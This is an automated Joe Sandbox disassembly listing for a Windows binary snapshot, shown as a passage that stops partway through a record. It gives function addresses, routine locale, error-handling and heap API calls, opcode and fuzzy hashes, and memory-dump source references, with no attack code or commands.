Snapshot File: hcaresult_0_2_8f0000_f1r6P3j3g7.jbxd

Yara matches

Similarity

API ID: ErrorLast$InfoLocale
String ID:
API String ID: 3736152602-0
Opcode ID: 96c28287d9565e4ca4b76bde537b2bef232bf72b25860aa197a13fb34af8f322
Instruction ID: c0270340bf891e899a66c9d9ee812a848f3a77bc1dda229c7e11c6e0d993c5be
Opcode Fuzzy Hash: 96c28287d9565e4ca4b76bde537b2bef232bf72b25860aa197a13fb34af8f322
Instruction Fuzzy Hash: 452180B2615206AFEF289B25DC42BBA77ACEF84310F10417AFD05D61C1EB34ED419A50

Function 0090C372 Relevance: 1.6, APIs: 1, Instructions: 63COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00904EB1: GetLastError.KERNEL32(?,00000008,00909482), ref: 00904EB5
Part of subcall function 00904EB1: SetLastError.KERNEL32(00000000,0091C480,00000024,00900419), ref: 00904F57

EnumSystemLocalesW.KERNEL32(0090C498,00000001,00000000,?,-00000050,?,0090CAC9,00000000,?,?,?,00000055,?), ref: 0090C3E4

Memory Dump Source

Source File: 00000000.00000002.1814694537.00000000008F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000000.00000002.1814659082.00000000008F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1814815531.0000000000913000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815003832.000000000091D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815227914.000000000097D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815287823.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815364715.0000000000980000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8f0000_f1r6P3j3g7.jbxd

Yara matches

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: 73c33930431b2d3474acf4ec62961f2de5f70e0391f2f55a1ef4989330fcb5d2
Instruction ID: 0d47d6120d90b263de0aaba82b25d6321ea17b2e75a3a321265680ece3739cf6
Opcode Fuzzy Hash: 73c33930431b2d3474acf4ec62961f2de5f70e0391f2f55a1ef4989330fcb5d2
Instruction Fuzzy Hash: 60116B772103015FDB18AF39D8A16BABBA2FF84768B14852CE98787B80D371B943C740

Function 0090C91A Relevance: 1.5, APIs: 1, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 00904EB1: GetLastError.KERNEL32(?,00000008,00909482), ref: 00904EB5
Part of subcall function 00904EB1: SetLastError.KERNEL32(00000000,0091C480,00000024,00900419), ref: 00904F57

GetLocaleInfoW.KERNEL32(?,20000001,?,00000002,?,00000000,?,?,0090C6B4,00000000,00000000,?), ref: 0090C946

Memory Dump Source

Source File: 00000000.00000002.1814694537.00000000008F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000000.00000002.1814659082.00000000008F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1814815531.0000000000913000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815003832.000000000091D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815227914.000000000097D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815287823.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815364715.0000000000980000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8f0000_f1r6P3j3g7.jbxd

Yara matches

Similarity

API ID: ErrorLast$InfoLocale
String ID:
API String ID: 3736152602-0
Opcode ID: fdfa51d061fb494b8dcc5c2ccc270017e582262e5d1e29375c8b2a9118c8fda5
Instruction ID: d49f14e8460735c980f16b332deeb6eb133ee878237f9d04cd7a8efa184c4711
Opcode Fuzzy Hash: fdfa51d061fb494b8dcc5c2ccc270017e582262e5d1e29375c8b2a9118c8fda5
Instruction Fuzzy Hash: F0F0F473600112BFDB289B20C805BBAB7ACEF40B54F044628ED62B31C0EA34FE41C6D0

Function 0090C40D Relevance: 1.5, APIs: 1, Instructions: 41COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00904EB1: GetLastError.KERNEL32(?,00000008,00909482), ref: 00904EB5
Part of subcall function 00904EB1: SetLastError.KERNEL32(00000000,0091C480,00000024,00900419), ref: 00904F57

EnumSystemLocalesW.KERNEL32(0090C6EB,00000001,?,?,-00000050,?,0090CA8D,-00000050,?,?,?,00000055,?,-00000050,?,?), ref: 0090C457

Memory Dump Source

Source File: 00000000.00000002.1814694537.00000000008F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000000.00000002.1814659082.00000000008F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1814815531.0000000000913000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815003832.000000000091D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815227914.000000000097D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815287823.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815364715.0000000000980000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8f0000_f1r6P3j3g7.jbxd

Yara matches

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: 0d2b94c355d3902b35cbee8ca3a5ea0b2a99769267105980a4f612b17364b145
Instruction ID: c31e294b682cb9280321ab7e61e984fd75e0982f8795ccc4e45fa4f7ee6cc7a7
Opcode Fuzzy Hash: 0d2b94c355d3902b35cbee8ca3a5ea0b2a99769267105980a4f612b17364b145
Instruction Fuzzy Hash: 45F0C2B63003046FDB245F79DC91A7A7B95FF80B68F15852DF9468B6E0C6719C42C650

Function 00905D7F Relevance: 1.5, APIs: 1, Instructions: 33COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 008FDDC1: EnterCriticalSection.KERNEL32(?,?,00904B89,?,0091C2E0,00000008,00904D4D,?,008FC446,?), ref: 008FDDD0

EnumSystemLocalesW.KERNEL32(00905D72,00000001,0091C3A0,0000000C,00906127,00000000), ref: 00905DB7

Memory Dump Source

Source File: 00000000.00000002.1814694537.00000000008F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000000.00000002.1814659082.00000000008F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1814815531.0000000000913000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815003832.000000000091D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815227914.000000000097D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815287823.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815364715.0000000000980000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8f0000_f1r6P3j3g7.jbxd

Yara matches

Similarity

API ID: CriticalEnterEnumLocalesSectionSystem
String ID:
API String ID: 1272433827-0
Opcode ID: 81b5fb0934f871e55265337b1341e5bb9edd82b7306d63b0d5acf01c6001b6cb
Instruction ID: 0eb00e2e5b2c5439837ea3560f095e27d166cc4ae8d3f38ea998c5444e74f23c
Opcode Fuzzy Hash: 81b5fb0934f871e55265337b1341e5bb9edd82b7306d63b0d5acf01c6001b6cb
Instruction Fuzzy Hash: 6DF03772A54204EFD700EFA8E846BAA7BB0FB88721F10816AE515EB2E0D7755981DF50

Function 0090C327 Relevance: 1.5, APIs: 1, Instructions: 31COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00904EB1: GetLastError.KERNEL32(?,00000008,00909482), ref: 00904EB5
Part of subcall function 00904EB1: SetLastError.KERNEL32(00000000,0091C480,00000024,00900419), ref: 00904F57

EnumSystemLocalesW.KERNEL32(0090C280,00000001,?,?,?,0090CAEB,-00000050,?,?,?,00000055,?,-00000050,?,?,00000004), ref: 0090C35E

Memory Dump Source

Source File: 00000000.00000002.1814694537.00000000008F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000000.00000002.1814659082.00000000008F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1814815531.0000000000913000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815003832.000000000091D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815227914.000000000097D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815287823.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815364715.0000000000980000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8f0000_f1r6P3j3g7.jbxd

Yara matches

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: fe50fd69456b8a83392a731856e56a5eb73c883500b9701880bb0d90ab89e3f0
Instruction ID: 2dd81f43aa2cadb424f8aa5e8576d7a66ca3393b2f85d82cbb59126934b7ef70
Opcode Fuzzy Hash: fe50fd69456b8a83392a731856e56a5eb73c883500b9701880bb0d90ab89e3f0
Instruction Fuzzy Hash: E2F0E57A3002055BCB149F79D85566ABFA4EFC1B64B068058EA098B6D0C6719946D790

Function 0090622B Relevance: 1.5, APIs: 1, Instructions: 24COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(00000000,?,00000000,?,-00000050,?,?,?,009023AE,?,20001004,00000000,00000002,?,?,009019B0), ref: 0090625F

Memory Dump Source

Source File: 00000000.00000002.1814694537.00000000008F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000000.00000002.1814659082.00000000008F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1814815531.0000000000913000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815003832.000000000091D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815227914.000000000097D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815287823.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815364715.0000000000980000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8f0000_f1r6P3j3g7.jbxd

Yara matches

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: d104d48db4263229de9c616e499df303e6cb185833357c064fafc4ac00381192
Instruction ID: e1802fc6e5073e7e27e77ab7d36c3ae31aad7a068c2b98a9b112b0b1f3047e58
Opcode Fuzzy Hash: d104d48db4263229de9c616e499df303e6cb185833357c064fafc4ac00381192
Instruction Fuzzy Hash: 4CE01A36504228BBCF122F61DC08AAE7E6AAF84760F10C010F915A51A1CB718A30AA91

Function 008F7AAF Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_00007ABB,008F6DC9), ref: 008F7AB4

Memory Dump Source

Source File: 00000000.00000002.1814694537.00000000008F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000000.00000002.1814659082.00000000008F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1814815531.0000000000913000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815003832.000000000091D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815227914.000000000097D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815287823.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815364715.0000000000980000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8f0000_f1r6P3j3g7.jbxd

Yara matches

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: a03f61d5da57bf94eb5dfaced461fad18c3691adcd090895c8fd21c989d66342
Instruction ID: d676f0184e2aa4acfc9ce64af1cd9043b8cd957a2955cb00279898873b5dab5b
Opcode Fuzzy Hash: a03f61d5da57bf94eb5dfaced461fad18c3691adcd090895c8fd21c989d66342
Instruction Fuzzy Hash:

Function 008F1D79 Relevance: 1.4, Strings: 1, Instructions: 156COMMON

Download Yara Rule

Strings

Z81xbyuAua, xrefs: 008F1E9B

Memory Dump Source

Source File: 00000000.00000002.1814694537.00000000008F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000000.00000002.1814659082.00000000008F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1814815531.0000000000913000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815003832.000000000091D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815227914.000000000097D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815287823.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815364715.0000000000980000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8f0000_f1r6P3j3g7.jbxd

Yara matches

Similarity

API ID:
String ID: Z81xbyuAua
API String ID: 0-3121583705
Opcode ID: 48313cb0f723faa03c23261bc9064e0010d419807814f988c86d0a2ead727b57
Instruction ID: cbc7c7dfdb8672ca07889ac2504202bcb6ac9b0cfa16b6fcaafb0e79ed9d45cc
Opcode Fuzzy Hash: 48313cb0f723faa03c23261bc9064e0010d419807814f988c86d0a2ead727b57
Instruction Fuzzy Hash: B2410B76E2052F8BCF4CEEB8885A0BBBB65F745320B04427ADE11DB3D1E2348A01C6D0

Function 0090CC4B Relevance: 1.3, APIs: 1, Instructions: 5memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 0090CC4B

Memory Dump Source

Source File: 00000000.00000002.1814694537.00000000008F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000000.00000002.1814659082.00000000008F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1814815531.0000000000913000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815003832.000000000091D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815227914.000000000097D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815287823.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815364715.0000000000980000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8f0000_f1r6P3j3g7.jbxd

Yara matches

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: 31387c7c7a2c5be13e9d8513917516d646aeb40afb76922d59a55e0edcc2c7bb
Instruction ID: dbafed8fc2e3d77bcbd1cfb65fbb2194f144c3dc5015b1ad1bcb1659c7807b92
Opcode Fuzzy Hash: 31387c7c7a2c5be13e9d8513917516d646aeb40afb76922d59a55e0edcc2c7bb
Instruction Fuzzy Hash: 9AA0123021D1009F43008F34AA052583AA45501280304C0246405C0020E6204280B641

Function 00949D26 Relevance: .5, Instructions: 489COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1815003832.000000000091D000.00000004.00000001.01000000.00000003.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000000.00000002.1814659082.00000000008F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1814694537.00000000008F1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1814815531.0000000000913000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815227914.000000000097D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815287823.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815364715.0000000000980000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8f0000_f1r6P3j3g7.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 640bf8eae2d78ad77c4c4812c82337757702f6639c51110261f3c9d00c87b92d
Instruction ID: e90f9e27d8c8a1f1f7a6d5af308c42922c1f9e0b03e9695ce08710e4b9de5fc2
Opcode Fuzzy Hash: 640bf8eae2d78ad77c4c4812c82337757702f6639c51110261f3c9d00c87b92d
Instruction Fuzzy Hash: 78027233D8D6F24B8F758EB948A0A277FA45E0275031F86D9DEC03F196C216ED1696E0

Function 0094AD13 Relevance: .4, Instructions: 355COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1815003832.000000000091D000.00000004.00000001.01000000.00000003.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000000.00000002.1814659082.00000000008F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1814694537.00000000008F1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1814815531.0000000000913000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815227914.000000000097D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815287823.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815364715.0000000000980000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8f0000_f1r6P3j3g7.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f02dcea883d10451d84a59732baab65edb0b568fbd8ca007beb23fa60eef1400
Instruction ID: ac0087ef0094fc7c4f9231fdf66c81051d57e5c866cd35e6948b40444133444c
Opcode Fuzzy Hash: f02dcea883d10451d84a59732baab65edb0b568fbd8ca007beb23fa60eef1400
Instruction Fuzzy Hash: BDC19273D8F5F2098B36862E081863FEE666E92B4131FC3D5DCD03F289C626AD0596D1

Function 0094A92B Relevance: .3, Instructions: 349COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1815003832.000000000091D000.00000004.00000001.01000000.00000003.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000000.00000002.1814659082.00000000008F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1814694537.00000000008F1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1814815531.0000000000913000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815227914.000000000097D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815287823.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815364715.0000000000980000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8f0000_f1r6P3j3g7.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0c69e47d847606dd43a020a10b245ffd8c98205713db3c8f796c6159738d0b06
Instruction ID: c988466e7954869088d2301d36273e55af5dc083a185248cfefd78ed74e47790
Opcode Fuzzy Hash: 0c69e47d847606dd43a020a10b245ffd8c98205713db3c8f796c6159738d0b06
Instruction Fuzzy Hash: 09C1A473D8F5F2098B76862D095863FEE666E92B4131FC395DCD03F289C226AD01D6D1

Function 0094A559 Relevance: .3, Instructions: 332COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1815003832.000000000091D000.00000004.00000001.01000000.00000003.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000000.00000002.1814659082.00000000008F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1814694537.00000000008F1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1814815531.0000000000913000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815227914.000000000097D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815287823.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815364715.0000000000980000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8f0000_f1r6P3j3g7.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 21018234ac6c65dce347e9eb3c09d9e563dc327998c84d170fb29f747537f1fa
Instruction ID: d44ac6b55a8215124e6d97657e68398e530114c94b26d86ad4d0a1c646b6eaa3
Opcode Fuzzy Hash: 21018234ac6c65dce347e9eb3c09d9e563dc327998c84d170fb29f747537f1fa
Instruction Fuzzy Hash: C3C18273D9E5F2098B36862D0918A3FEE756E92B4131FC395DCD03F289C22A6D05D5D1

Function 0090BB36 Relevance: .3, Instructions: 327COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1814694537.00000000008F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000000.00000002.1814659082.00000000008F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1814815531.0000000000913000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815003832.000000000091D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815227914.000000000097D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815287823.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815364715.0000000000980000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8f0000_f1r6P3j3g7.jbxd

Yara matches

Similarity

API ID: ErrorLastProcess$CurrentFeatureInfoLocalePresentProcessorTerminate
String ID:
API String ID: 3471368781-0
Opcode ID: 97da7784803a6c302998aae34dd4c298104e1cc3173eea4d86a91311c5560c63
Instruction ID: c29d3475832142949527d1a8915222466469fb5dc2e16f363852198f28c7b036
Opcode Fuzzy Hash: 97da7784803a6c302998aae34dd4c298104e1cc3173eea4d86a91311c5560c63
Instruction Fuzzy Hash: 11B1F6755007069FDB38AB29CC92BB7B3ADEF54308F14452DEA87C66C1EB75A981CB10

Function 0094A1BB Relevance: .3, Instructions: 326COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1815003832.000000000091D000.00000004.00000001.01000000.00000003.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000000.00000002.1814659082.00000000008F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1814694537.00000000008F1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1814815531.0000000000913000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815227914.000000000097D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815287823.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815364715.0000000000980000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8f0000_f1r6P3j3g7.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 21b74c51e355f1ada917146b454bba93dbff062365e48e41ecc74cc68dac6f4d
Instruction ID: d5085322668df7f51ed6cfac71658a04c9d6fcda4415c555f7a3e03acf55015d
Opcode Fuzzy Hash: 21b74c51e355f1ada917146b454bba93dbff062365e48e41ecc74cc68dac6f4d
Instruction Fuzzy Hash: B9B19473D8E5F3098B76852D0958A3FEE666E92B4031FC394DCD03F289C627AD0596D1

Function 009386FD Relevance: .1, Instructions: 74COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1815003832.000000000091D000.00000004.00000001.01000000.00000003.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000000.00000002.1814659082.00000000008F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1814694537.00000000008F1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1814815531.0000000000913000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815227914.000000000097D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815287823.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815364715.0000000000980000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8f0000_f1r6P3j3g7.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f820d73acb58f4ea73768fd8ccb48802642c53090ea72760e35e0388eb771fac
Instruction ID: a5b4cd3ad193294f82db2a37c71890ee687b0d40dc8d0157c2cced5a6618baf1
Opcode Fuzzy Hash: f820d73acb58f4ea73768fd8ccb48802642c53090ea72760e35e0388eb771fac
Instruction Fuzzy Hash: 0421BB21670BE306CB854FF8FCC011367D1CBCD21BB6EC279DE54C9166D06DE6628590

Function 0091E385 Relevance: .0, Instructions: 40COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1815003832.000000000091D000.00000004.00000001.01000000.00000003.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000000.00000002.1814659082.00000000008F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1814694537.00000000008F1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1814815531.0000000000913000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815227914.000000000097D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815287823.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815364715.0000000000980000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8f0000_f1r6P3j3g7.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 01ffdcfc4a170f1596b26d300e4d9eeb94101c14574aad42e0c58a83c969e199
Instruction ID: 40d82be49d772515f17ac0a43223543c2ee950d1a4a333371a37c652bb4d7ae4
Opcode Fuzzy Hash: 01ffdcfc4a170f1596b26d300e4d9eeb94101c14574aad42e0c58a83c969e199
Instruction Fuzzy Hash: 1BF01236A04114EBCF11CF55D804EEAF7B9EB47760F253455E819B3610C334EE51EA98

Function 0091E013 Relevance: .0, Instructions: 31COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1815003832.000000000091D000.00000004.00000001.01000000.00000003.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000000.00000002.1814659082.00000000008F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1814694537.00000000008F1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1814815531.0000000000913000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815227914.000000000097D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815287823.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815364715.0000000000980000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8f0000_f1r6P3j3g7.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e47e57290291bf3e55fc76926b40b9455446aaecab0376499f589c11769486e1
Instruction ID: ea3e4387b39ce806ce78312b7a9645757156f0a8d6b1af2c7d6898ca67931afe
Opcode Fuzzy Hash: e47e57290291bf3e55fc76926b40b9455446aaecab0376499f589c11769486e1
Instruction Fuzzy Hash: 77F03072900A19AFD714CFADD5415DFFBF8EB48320B10856ED4AAF3260D630FA458B51

Function 0090A64C Relevance: .0, Instructions: 22COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1814694537.00000000008F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000000.00000002.1814659082.00000000008F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1814815531.0000000000913000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815003832.000000000091D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815227914.000000000097D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815287823.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815364715.0000000000980000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8f0000_f1r6P3j3g7.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d30a52f00f890bd01d6e84b1357bca7669443c8ff688bb46904ed1c21e63159d
